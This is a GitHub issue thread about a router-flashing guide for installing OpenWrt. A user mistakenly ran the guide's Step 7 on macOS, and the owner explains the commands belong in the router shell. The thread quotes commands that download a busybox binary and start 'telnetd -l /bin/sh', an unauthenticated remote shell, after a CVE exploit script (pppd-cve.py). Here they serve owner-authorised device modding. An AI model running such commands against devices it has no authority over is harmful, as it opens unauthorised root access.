Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Busybox not working for Catalina #3

Closed
juliovedovatto opened this issue Jul 13, 2020 · 3 comments
Closed

Busybox not working for Catalina #3

juliovedovatto opened this issue Jul 13, 2020 · 3 comments

Comments

@juliovedovatto
Copy link

Looking at your guide, I decided to buy this router model for my home.

Followed steps 1 to 6, but I got stuck on Step 7

If you do the following commands quickly, there should be no issues:

cd /tmp
wget http://192.168.31.177/busybox
chmod a+x ./busybox
./busybox telnetd -l /bin/sh

for me the result is:

# ./busybox telnetd -l /bin/sh
zsh: exec format error: ./busybox

I also tried to execut using /bin/sh

sh: ./busybox: cannot execute binary file

I don't know which MacOS version you used to make this guide, but for me this bundled version of Busybox is not working.

Notes:

  • I tried to compile a version from https://github.com/daliworks/busybox-osx, but no success when I try to run the telnetd command.
  • I tried to use telned from brew, but the command arguments are slightly different.
@ecklf
Copy link
Owner

ecklf commented Jul 13, 2020

Please read the guide carefully. Busybox is never meant to be executed on macOS. It's sole purpose is to start the telnet daemon on the router. You are either using the wrong terminal session or the unstable connection dropped and you are back in your Catalina zsh session.

@juliovedovatto
Copy link
Author

juliovedovatto commented Jul 13, 2020

@impulse I hadn't noticed that netcat became a shell after running pppd-cve.py 🤦🏻‍♂️.

I was sending commands from wrong shell, duh

I ran the commands inside this shell and I was able to follow the rest of guide.

Result:
image

My apologies for the misunderstanding.

@ecklf
Copy link
Owner

ecklf commented Jul 14, 2020

@impulse I hadn't noticed that netcat became a shell after running pppd-cve.py 🤦🏻‍♂️.

I was sending commands from wrong shell, duh

I ran the commands inside this shell and I was able to follow the rest of guide.

Result:
image

My apologies for the misunderstanding.

No worries, it happens 👍. Have fun with OpenWrt.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants